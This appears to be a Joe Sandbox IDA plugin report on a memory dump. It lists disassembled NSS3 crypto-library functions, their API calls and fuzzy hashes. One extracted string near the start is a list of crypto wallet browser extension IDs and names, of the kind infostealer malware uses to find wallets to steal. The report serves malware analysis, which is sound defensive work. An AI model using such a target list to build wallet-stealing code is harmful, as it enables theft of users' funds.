Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction ID: 76328f497f12a5b1d249a6ff8bd83f0491ada62fe47fbed3f0cd1a15e1d93497
Opcode Fuzzy Hash: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction Fuzzy Hash: 772197B16056019FD700AF79C484559F7F4FF0A308F05896ED884CBB11DB35E885CB9A

Function 6C6ABE60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?,?), ref: 6C6ABED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEEB

Strings

kbihmopkbjmoonfanlbfcl|1|0|0|Oxygen|fhilaheimglignddkjgofkcbgekhenbh|1|0|0|Pali Wallet|mgffkfbidihjpoaomajlbgchddlicgpn|1|0|0|BOLT X|aodkkagnadcbobfpggfnjeongemjbjca|1|0|0|XDEFI Wallet|hmeobnfnfcmdkdcmlblgagmfpfboieaf|1|0|0|Nami|lpfcbjknijpeeillifnkikgncikgfhd, xrefs: 6C6ABE98

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID: kbihmopkbjmoonfanlbfcl|1|0|0|Oxygen|fhilaheimglignddkjgofkcbgekhenbh|1|0|0|Pali Wallet|mgffkfbidihjpoaomajlbgchddlicgpn|1|0|0|BOLT X|aodkkagnadcbobfpggfnjeongemjbjca|1|0|0|XDEFI Wallet|hmeobnfnfcmdkdcmlblgagmfpfboieaf|1|0|0|Nami|lpfcbjknijpeeillifnkikgncikgfhd
API String ID: 1367977078-809700906
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: e879e8b055f98f205cf9e96e81b5dbdfc012a60c71f18fa40ce77fd96c3f1104
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: F8112276A0434977E70089E5AC80F5B77ADABC5798F084035FE0482A52F731DC0687EE

Function 6C678E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EA2

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EC3
TlsGetValue.KERNEL32(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C678EF1
PR_Unlock.NSS3 ref: 6C678F20

Strings

b.il, xrefs: 6C678E96, 6C678F25

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.il
API String ID: 1978757487-1921218275
Opcode ID: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction ID: d589748912b51aad0dc5bac8657d9d82ec45b37514a343fa6f63ff163eb44522
Opcode Fuzzy Hash: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction Fuzzy Hash: 43219C70908705AFC700AF29D184599BBF0FF49368F01496EEC98ABB50D734E854CBEA

Function 6C6E3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_EnterMonitor.NSS3(?), ref: 6C6E3E45

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6E3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6E3EA6

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6E3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6E3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6E3EEE

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: df85b102a79697b97ae101c0efa96709c99f3f6c47b4e1667b29f4c2c7f792db
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 3511B771519600AFDB319E29FC06BC7B7A1DB55308F040836E65A87E30E632E82BC74A

Function 6C762C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C762CA0
PR_ExitMonitor.NSS3 ref: 6C762CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C762CD1
strdup.MOZGLUE(?), ref: 6C762CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C762D27

Strings

Loaded library %s (static lib), xrefs: 6C762D22

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction ID: cdf06b865eb46c87cc1f52af93245874f40d05e4d73b23d7269d894145112d2a
Opcode Fuzzy Hash: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction Fuzzy Hash: 4F1104B17012059FEB008F16D949E6677B5AB4634EF14813DDC09C7F41EB31D808CBA5

Function 6C65BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BDCA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDDB

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDEC

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C65BE03

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65BE3B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: ec08bc34d3a50fce9b4313ce826fd95a03ae5485d95d032c64b5bc403fd3912c
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 0201DBA5B4121276F61013666C01FA7664C8FD23CDF680030FE05A6B82FB61E53A83BE

Function 6C6B0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B
TlsGetValue.KERNEL32(00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1044
free.MOZGLUE(00000000,?,00000800,6C64EF74,00000000), ref: 6C6B1064

Strings

security, xrefs: 6C6B1025

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction ID: 8c93f49064b597ba2401bade9a46978980df02935f628d62746fdb0b1c880ab2
Opcode Fuzzy Hash: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction Fuzzy Hash: B2010831640250B7E7202F6DAC05B963678BF17789F014135E908A6A51EF71C165DBDA

Function 6C6E1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6E1C74

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6E1C92
free.MOZGLUE(?), ref: 6C6E1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6E1CCB
free.MOZGLUE(?), ref: 6C6E1CD2

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction ID: 98cd11b7d01fb884a8ceb90e7c58dbee9b95002e45c416f85f66606faf586c91
Opcode Fuzzy Hash: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction Fuzzy Hash: 300196B1F0B211AFDF20AFE49D0DF8937B8A70B719F100136E90AE6A41D725D145579D

Function 6C6F2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F3046

Part of subcall function 6C6DEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C6C7FFB), ref: 6C6F312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6F3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6F2E8B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6DF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C6C9BFF,?,00000000,00000000), ref: 6C6DF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C6C7FFA), ref: 6C6F2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6F317B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction ID: f8f5d4d53ba9776809a09e652965c1dd041f9ba1af1efbf5b2ef7fc5339d2de9
Opcode Fuzzy Hash: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction Fuzzy Hash: 9AA1D071A002189FDB24CF54CC84BEAB7B6EF45308F148099ED596B741E731AD46CFA6

Function 6C6BED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C6BED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C6BEDCE

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

free.MOZGLUE(00000000,?,?,?,?,6C6BB04F), ref: 6C6BEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6BEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6BEEFB

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction ID: ed0e2b82c5d8c0918f4eba002951f7eef7a561eb8374721b122411793bd032d3
Opcode Fuzzy Hash: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction Fuzzy Hash: 6281ADB5A002059FEB10CF59DC84BAB77F5FF89308F144468E815AB751DB30E826CBA9

Function 6C6BCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

PR_Now.NSS3 ref: 6C6BCD35

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

Part of subcall function 6C6A6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

PR_GetCurrentThread.NSS3 ref: 6C6BCD54

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Part of subcall function 6C6A7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651CCC,00000000,00000000,?,?), ref: 6C6A729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C6BCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C6BCE2C

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C6BCE40

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

Part of subcall function 6C6BCEE0: PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC
Part of subcall function 6C6BCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction ID: df4060638b9dfed6918a95f45276fd06404caec0ee5e3a7fd7dc208a94e18b80
Opcode Fuzzy Hash: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction Fuzzy Hash: C451B3B6A00105ABE710DF69DC40B9A77E4EF48348F250524E946B7B40EB31EA26CB99

Function 6C5D3850 Relevance: 9.1, APIs: 6, Instructions: 133threadstringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(?,00000025), ref: 6C5D3890
TlsGetValue.KERNEL32 ref: 6C5D38D2
